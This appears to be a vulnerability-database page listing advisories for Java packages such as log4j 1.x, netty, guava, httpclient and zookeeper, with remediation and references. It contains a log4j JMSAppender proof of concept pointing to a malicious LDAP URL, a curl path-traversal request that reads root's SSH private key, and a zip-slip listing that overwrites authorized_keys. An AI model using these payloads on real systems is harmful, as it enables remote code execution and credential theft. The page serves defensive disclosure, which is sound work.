Find, fix and prevent vulnerabilities in your code.

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4j 2.x vulnerability, the 1.x branch of the module requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.

In order to leverage this vulnerability the following conditions must be met:

1. The application has enabled JMSAppender (or a class that extends JMSAppender)
2. The attacker has access to directly modify the TopicBindingName or TopicConnectionFactoryBindingName configuration variables - which is an unlikely scenario

If these conditions are met, log4j 1.x allows a lookup feature that does not protect against attacker-controlled LDAP and other JNDI related endpoints. Therefore, an attacker with access to the aforementioned configuration variables is able to execute arbitrary code when loaded from an LDAP server.

PoC

import org.apache.log4j.net.JMSAppender;
// ...
JMSAppender a = new JMSAppender();
a.setTopicConnectionFactoryBindingName("ldap://<malicious-url>");
// OR a.setTopicBindingName("ldap://<malicious-url>");
a.activateOptions();

Remediation

There is no fixed version for log4j:log4j.

References

• Apache Mail
• Atlassian Patch
• GitHub Comment
• GitHub Discussion
• PoC in GitHub

Overview

io.netty:netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling. Netty mishandles whitespace before the colon in HTTP headers such as a Transfer-Encoding : chunked line. This can lead to HTTP request smuggling where an attacker can bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users.

Note:

io.netty:netty is deprecated. Users should update to io.netty:netty-all

Remediation

There is no fixed version for io.netty:netty.

References

• GitHub Commit
• GitHub PR
• Http Request Smuggling Demystified - Snyk Blog
• POC: GitHub Issue

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to External Initialization of Trusted Variables or Data Stores via the conditional processing of the logback.xml configuration file when both the Janino library and Spring Framework are present on the class path. An attacker can execute arbitrary code by compromising an existing configuration file or injecting a malicious environment variable before program execution. This is only exploitable if the attacker has write access to a configuration file or can set a malicious environment variable.

Remediation

Upgrade ch.qos.logback:logback-core to version 1.5.19 or higher.

References

• GitHub Commit
• Release Notes

Overview

com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. During deserialization, two Guava classes accept a caller-specified size parameter and eagerly allocate an array of that size:

• AtomicDoubleArray (when serialized with Java serialization)
• CompoundOrdering (when serialized with GWT serialization)

An attacker may be able to send a specially crafted request which with then cause the server to allocate all it's memory, without validation whether the data size is reasonable.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.google.guava:guava to version 24.1.1, 24.1.1-jre or higher.

References

• GitHub Commit
• Google Group Forum
• RedHat Bugzilla Bug

Overview

log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.

Affected versions of this package are vulnerable to Denial of Service (DoS). When using the Chainsaw or SocketAppender components with Log4j 1.x on JRE less than 1.7, an attacker that manages to cause a logging entry involving a specially-crafted, deeply nested hashmap or hashtable (depending on which logging component is in use) to be processed could exhaust the available memory in the virtual machine and achieve denial of service when the object is deserialized.

This issue affects Apache Log4j before 2. Affected users are recommended to update to Log4j 2.x org.apache.logging.log4j/log4j-core.

NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

There is no fixed version for log4j:log4j.

References

• Apache Lists

Overview

org.apache.kafka:kafka_2.10 is a distributed streaming platform.

Affected versions of this package are vulnerable to Data Loss. Authenticated Kafka users may perform action reserved for the Broker via a manually created fetch request interfering with data replication, resulting in data loss.

Remediation

Upgrade org.apache.kafka:kafka_2.10 to versions 0.10.2.2, 0.11.0.3, 1.0.1, 1.1.0 or higher.

References

• Apache Mail Archive
• Security Focus

Overview

org.apache.httpcomponents:httpclient is a HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Directory Traversal. String input by user is not validated for the presence of leading character / and is passed to the constructor as path information, resulting in a Directory Traversal vulnerability.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade org.apache.httpcomponents:httpclient to version 4.5.3 or higher.

References

• GitHub Commit

• Jira Issue

• Researcher blog post

Overview

org.apache.httpcomponents:httpclient is a HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Improper Input Validation. Apache HttpClient can misinterpret malformed authority component in request URIs passed to the library as java.net.URI object and pick the wrong target host for request execution.

Remediation

Upgrade org.apache.httpcomponents:httpclient to version 4.5.13 or higher.

References

• Apache Security Advisory
• GitHub Commit
• GitHub Commit

Overview

org.apache.zookeeper:zookeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.

Affected versions of this package are vulnerable to Access Control Bypass. ZooKeeper’s getACL() method doesn’t check any permission when retrieving the ACLs of the requested node and returns all information contained in the ACL Id field as plain text string. If Digest Authentication is in use, the unsalted hash value will be disclosed by the getACL() method for unauthenticated or unprivileged users.

Remediation

Upgrade org.apache.zookeeper:zookeeper to version 3.4.14, 3.5.5 or higher.

References

• GitHub Commit
• Jira Issue
• ZooKeeper Security

Dual license: EPL-1.0, LGPL-2.1

Dual license: EPL-1.0, LGPL-2.1

Dual license: EPL-1.0, MPL-2.0

EPL-1.0 license